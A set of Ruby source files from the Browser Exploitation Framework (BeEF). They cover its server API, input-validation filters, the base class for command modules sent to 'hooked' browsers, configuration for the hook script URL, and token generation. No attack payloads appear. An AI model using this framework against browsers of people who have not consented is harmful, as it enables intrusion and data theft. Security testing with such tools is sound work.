# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
# @note Defined API Paths
API_PATHS = {
'mount_handler' => :mount_handler,
'pre_http_start' => :pre_http_start
}.freeze
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
BeEF::Core::Server.instance.unmount(url)
end
end
end
end |
Ruby | beef/core/api/main/network_stack/assethandler.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module NetworkStack
module Handlers
module AssetHandler
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path = nil, extension = nil, count = -1)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
end
end |
Ruby | beef/core/api/main/server/hook.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
module Hook
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}.freeze
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
end
end
end
end |
Ruby | beef/core/filters/base.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
true
end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
!regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null?(str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
!only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
!(str =~ /^\d+\.\d+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
!(str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?('a-zA-Z0-9', str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
if case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end
true
else
false
end
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
!(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end
end |
Ruby | beef/core/filters/browser.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false if !nums_only?(str) and !is_valid_float?(str)
return false if str.length > 20
true
end
# Verify the os version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)
return false if str.length > 20
true
end
# Verify the browser/UA string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
true
end
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if str.encoding === Encoding.find('UTF-8')
(str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
(str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
end
end
end
end |
Ruby | beef/core/filters/command.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is a valid path from a HTTP request
# @param [String] str String for testing
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false unless str.is_a? String
return false if has_non_printable_char?(str)
true
end
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
# Check if valid command module datastore key
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
# Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_:]/).nil?
true
end
end
end |
Ruby | beef/core/filters/http.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Verify the hostname string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil?
true
end
def self.is_valid_verb?(verb)
%w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true unless uri.nil?
# OPTIONS * is not yet supported
# return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
# return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/\r+/, '')
['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/\r+/, '')
return true if 'Host:'.eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != '/'
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => /
while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
end |
Ruby | beef/core/filters/page.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Verify the page title string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
true
end
# Verify the page referrer string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
end
end
end |
Ruby | beef/core/main/command.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
#
# @note This module contains a list of utils functions to use when writing commands
#
module CommandUtils
#
# Format a string to support multiline in javascript.
# @param [String] text String to convert
#
# @return [String] Formatted string
#
def format_multiline(text)
text.gsub(/\n/, '\n')
end
end
#
# @note The Command Module Context is being used when evaluating code in eruby.
# In other words, we use that code to add funky functions to the
# javascript templates of our commands.
#
class CommandContext < Erubis::Context
include BeEF::Core::CommandUtils
#
# Constructor
# @param [Hash] hash
#
def initialize(hash = nil)
super(hash)
end
end
#
# @note This class is the base class for all command modules in the framework.
# Two instances of this object are created during the execution of command module.
#
class Command
attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname,
:config
attr_accessor :zombie, :command_id, :session_id
include BeEF::Core::CommandUtils
include BeEF::Core::Constants::Browsers
include BeEF::Core::Constants::CommandModule
#
# Super class controller
#
# @param [String] key command module key
#
def initialize(key)
@config = BeEF::Core::Configuration.instance
@key = key
@datastore = {}
@friendlyname = @config.get("beef.module.#{key}.name")
@output = ''
@path = @config.get("beef.module.#{key}.path")
@default_command_url = config.get("beef.module.#{key}.mount")
@id = @config.get("beef.module.#{key}.db.id")
@auto_update_zombie = false
@results = {}
@beefjs_components = {}
end
#
# This function is called just before the instructions are sent to hooked browser.
#
def pre_send; end
#
# Callback method. This function is called when the hooked browser sends results back.
#
def callback; end
#
# If the command requires some data to be sent back, this function will process them.
# @param [] head
# @param [Hash] params Hash of parameters
# @todo Determine argument "head" type
#
def process_zombie_response(head, params); end
#
# Returns true if the command needs configurations to work. False if not.
# @deprecated This command should not be used since the implementation of the new configuration system
#
def needs_configuration?
[email protected]?
end
#
# Returns information about the command in a JSON format.
# @return [String] JSON formatted string
#
def to_json(*_args)
{
'Name' => @friendlyname,
'Description' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.description"),
'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"),
'Data' => BeEF::Module.get_options(@key)
}.to_json
end
#
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
# @param [Hash] data Data to be inserted into the datastore
# @todo TODO Confirm argument "data" type
#
def build_datastore(data)
@datastore = JSON.parse data
rescue StandardError => e
print_error "Could not build datastore: #{e.message}"
end
#
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
# @param [Hash] http_params HTTP parameters
# @param [Hash] http_headers HTTP headers
#
def build_callback_datastore(result, command_id, beefhook, http_params, http_headers)
@datastore = { 'http_headers' => {} } # init the datastore
if !http_params.nil? && !http_headers.nil?
# get, check and add the http_params to the datastore
http_params.keys.each do |http_params_key|
unless BeEF::Filters.is_valid_command_module_datastore_key? http_params_key
print_error 'http_params_key is invalid'
return
end
http_params_value = Erubis::XmlHelper.escape_xml http_params[http_params_key]
unless BeEF::Filters.is_valid_command_module_datastore_param?(http_params_value)
print_error 'http_params_value is invalid'
return
end
# add the checked key and value to the datastore
@datastore[http_params_key] = http_params_value
end
# get, check and add the http_headers to the datastore
http_headers.keys.each do |http_header_key|
unless BeEF::Filters.is_valid_command_module_datastore_key? http_header_key
print_error 'http_header_key is invalid'
return
end
http_header_value = Erubis::XmlHelper.escape_xml http_headers[http_header_key][0]
unless BeEF::Filters.is_valid_command_module_datastore_param? http_header_value
print_error 'http_header_value is invalid'
return
end
# add the checked key and value to the datastore
@datastore['http_headers'][http_header_key] = http_header_value
end
end
@datastore['results'] = result
@datastore['cid'] = command_id
@datastore['beefhook'] = beefhook
end
#
# Returns the output of the command. These are the actual instructions sent to the browser.
# @return [String] The command output
#
def output
f = "#{@path}command.js"
unless File.exist? f
print_error "File does not exist: #{f}"
return
end
command = BeEF::Core::Models::Command.find(@command_id)
@eruby = Erubis::FastEruby.new(File.read(f))
# data = BeEF::Core::Configuration.instance.get "beef.module.#{@key}"
cc = BeEF::Core::CommandContext.new
cc['command_url'] = @default_command_url
cc['command_id'] = @command_id
JSON.parse(command['data']).each do |v|
cc[v['name']] = v['value']
end
execute if respond_to?(:execute)
@output = @eruby.evaluate cc
@output
end
# Saves the results received from the hooked browser
# @param [Hash] results Results from hooked browser
def save(results)
@results = results
end
#
# If nothing else than the file is specified,
# the function will map the file to a random path without any extension.
#
# @param [String] file File to be mounted
# @param [String] path URL path to mounted file
# @param [String] extension URL extension
# @param [Integer] count The amount of times this file can be accessed before being automatically unmounted
# @deprecated This function is possibly deprecated in place of the API
#
def map_file_to_url(file, path = nil, extension = nil, count = 1)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end
#
# Tells the framework to load a specific module of the BeEFJS library that the command will be using.
# @param [String] component String of BeEFJS component to load
# @note Example: use 'beef.net.local'
#
def use(component)
return if @beefjs_components.include? component
component_path = '/' + component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
raise "Invalid beefjs component for command module #{@path}" unless File.exist? component_path
@beefjs_components[component] = component_path
end
# @todo TODO Document
def oc_value(name)
option = BeEF::Core::Models::OptionCache.where(name: name).first
return nil unless option
option.value
end
# @todo TODO Document
def apply_defaults
@datastore.each do |opt|
opt['value'] = oc_value(opt['name']) || opt['value']
end
end
@use_template
@eruby
@update_zombie
@results
end
end
end |
Ruby | beef/core/main/configuration.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
class Configuration
attr_accessor :config
# antisnatchor: still a singleton, but implemented by hand because we want to have only one instance
# of the Configuration object while having the possibility to specify a parameter to the constructor.
# This is why we don't use anymore the default Ruby implementation -> include Singleton
def self.instance
@@instance
end
# Loads the default configuration system
# @param [String] configuration_file Configuration file to be loaded,
# by default loads $root_dir/config.yaml
def initialize(config)
raise TypeError, "'config' needs to be a string" unless config.is_a?(String)
raise TypeError, "Configuration file '#{config}' cannot be found" unless File.exist? config
begin
# open base config
@config = load(config)
# set default value if key? does not exist
@config.default = nil
@@config = config
rescue StandardError => e
print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}"
print_more e.backtrace
exit(1)
end
@@instance = self
end
# Loads yaml file
# @param [String] file YAML file to be loaded
# @return [Hash] YAML formatted hash
def load(file)
return nil unless File.exist?(file)
YAML.safe_load(File.binread(file))
end
#
# @note balidate the configuration file
#
def validate
if @config.empty?
print_error 'Configuration file is empty'
return
end
if @config['beef'].nil?
print_error "Configuration file is malformed: 'beef' is nil"
return
end
if @config['beef']['credentials'].nil?
print_error "Configuration file is malformed: 'beef.credentials' is nil"
return
end
if @config['beef']['http'].nil?
print_error "Configuration file is malformed: 'beef.http' is nil"
return
end
return unless validate_public_config_variable?(@config)
if @config['beef']['http']['public_port']
print_error 'Config path beef.http.public_port is deprecated.'
print_error 'Please use the new format for public variables found'
print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
return
end
true
end
#
# Returns the configuration value for the http server host
# If nothing is set it should default to 0.0.0.0 (all interfaces)
def local_host
get('beef.http.host') || '0.0.0.0'
end
#
# Returns the configuration value for the http server port
# If nothing is set it should default to 3000
def local_port
get('beef.http.port') || '3000'
end
#
# Return the local protocol
# if nothing is set default to http
def local_proto
local_https_enabled ? 'https' : 'http'
end
#
# Returns the configuration value for the local https enabled
# If nothing is set it should default to false
def local_https_enabled
get('beef.http.https.enable') || false
end
#
# Returns the configuration value for the http server host
def public_host
get('beef.http.public.host')
end
#
# Returns the beef host which is used by external resources
# e.g. hooked browsers
def beef_host
public_host || local_host
end
#
# Returns the beef port which is used by external resource
# e.g. hooked browsers
def beef_port
public_port || local_port
end
def public_enabled?
!get('beef.http.public.host').nil?
end
#
# Returns the beef protocol that is used by external resources
# e.g. hooked browsers
def beef_proto
if public_enabled? && public_https_enabled?
'https'
elsif public_enabled? && !public_https_enabled?
'http'
elsif !public_enabled?
local_proto
end
end
#
# Returns the beef scheme://host:port for external resources
# e.g. hooked browsers
def beef_url_str
"#{beef_proto}://#{beef_host}:#{beef_port}"
end
# Returns the hool path value stored in the config file
#
# @return [String] hook file path
def hook_file_path
get('beef.http.hook_file') || '/hook.js'
end
# Returns the url to the hook file
#
# @return [String] the url string
def hook_url
"#{beef_url_str}#{hook_file_path}"
end
# Returns the configuration value for the http server port
# If nothing is set it should default to 3000
def public_port
return get('beef.http.public.port') unless get('beef.http.public.port').nil?
return '443' if public_https_enabled?
return '80' unless public_host.nil?
nil
end
#
# Returns the configuration value for the local https enabled
# If nothing is set it should default to false
def public_https_enabled?
get('beef.http.public.https') || false
end
#
# Returns the value of a selected key in the configuration file.
# @param [String] key Key of configuration item
# @return [Hash|String] The resulting value stored against the 'key'
#
def get(key)
subkeys = key.split('.')
lastkey = subkeys.pop
subhash = subkeys.inject(@config) do |hash, k|
hash[k]
end
return nil if subhash.nil?
subhash.key?(lastkey) ? subhash[lastkey] : nil
end
#
# Sets the give key value pair to the config instance
# @param [String] key The configuration key
# @param value The value to be stored against the 'key'
# @return [Boolean] If the store procedure was successful
#
def set(key, value)
subkeys = key.split('.').reverse
return false if subkeys.empty?
hash = { subkeys.shift.to_s => value }
subkeys.each { |v| hash = { v.to_s => hash } }
@config = @config.deep_merge hash
true
end
#
# Clears the given key hash
# @param [String] key Configuration key to be cleared
# @return [Boolean] If the configuration key was cleared
#
def clear(key)
subkeys = key.split('.')
return false if subkeys.empty?
lastkey = subkeys.pop
hash = @config
subkeys.each { |v| hash = hash[v] }
hash.delete(lastkey).nil? ? false : true
end
#
# Load extensions configurations
#
def load_extensions_config
set('beef.extension', {})
Dir.glob("#{$root_dir}/extensions/*/config.yaml") do |cf|
y = load(cf)
if y.nil?
print_error "Unable to load extension configuration '#{cf}'"
next
end
y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(%r{#{$root_dir}/}, '')
@config = y.deep_merge(@config)
end
end
#
# Load module configurations
#
def load_modules_config
set('beef.module', {})
# support nested sub-categories, like browser/hooked_domain/ajax_fingerprint
module_configs = File.join("#{$root_dir}/modules/**", 'config.yaml')
Dir.glob(module_configs) do |cf|
y = load(cf)
if y.nil?
print_error "Unable to load module configuration '#{cf}'"
next
end
y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub('config.yaml', '').gsub(%r{#{$root_dir}/}, '')
@config = y.deep_merge @config
# API call for post module config load
BeEF::API::Registrar.instance.fire(
BeEF::API::Configuration,
'module_configuration_load',
y['beef']['module'].keys.first
)
end
end
private
def validate_public_config_variable?(config)
return true if config['beef']['http']['public'].is_a?(Hash) ||
config['beef']['http']['public'].is_a?(NilClass)
print_error 'Config path beef.http.public is deprecated.'
print_error 'Please use the new format for public variables found'
print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
false
end
end
end
end |
Ruby | beef/core/main/crypto.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'securerandom'
module BeEF
module Core
module Crypto
# @note the minimum length of the security token
TOKEN_MINIMUM_LENGTH = 15
#
# Generate a secure random token
#
# @param [Integer] len The length of the secure token
#
# @return [String] Security token
#
def self.secure_token(len = nil)
# get default length from config
config = BeEF::Core::Configuration.instance
token_length = len || config.get('beef.crypto_default_value_length').to_i
# type checking
raise TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if token_length < TOKEN_MINIMUM_LENGTH
# return random hex string
SecureRandom.random_bytes(token_length).unpack1('H*')
end
#
# Generate a secure random token, 20 chars, used as an auth token for the RESTful API.
# After creation it's stored in the BeEF configuration object => conf.get('beef.api_token')
#
# @return [String] Security token
#
def self.api_token
config = BeEF::Core::Configuration.instance
token_length = 20
# return random hex string
token = SecureRandom.random_bytes(token_length).unpack1('H*')
config.set('beef.api_token', token)
token
end
#
# Generates a random alphanumeric string
# Note: this isn't securely random
# @todo use SecureRandom once Ruby 2.4 is EOL
#
# @param length integer length of returned string
#
def self.random_alphanum_string(length = 10)
raise TypeError, "'length' is #{length.class}; expected Integer" unless length.is_a?(Integer)
raise TypeError, "Invalid length: #{length}" unless length.positive?
[*('a'..'z'), *('A'..'Z'), *('0'..'9')].shuffle[0, length].join
end
#
# Generates a random hex string
#
# @param length integer length of returned string
#
def self.random_hex_string(length = 10)
raise TypeError, "'length' is #{length.class}; expected Integer" unless length.is_a?(Integer)
raise TypeError, "Invalid length: #{length}" unless length.positive?
SecureRandom.random_bytes(length).unpack1('H*')[0...length]
end
#
# Generates a unique identifier for DNS rules.
#
# @return [String] 8-character hex identifier
#
def self.dns_rule_id
id = nil
begin
id = random_hex_string(8)
BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id }
rescue StandardError
retry
end
id.to_s
end
end
end
end |
Ruby | beef/core/main/geoip.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
class GeoIp
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
@enabled = @config.get('beef.geoip.enable') ? true : false
return unless @enabled
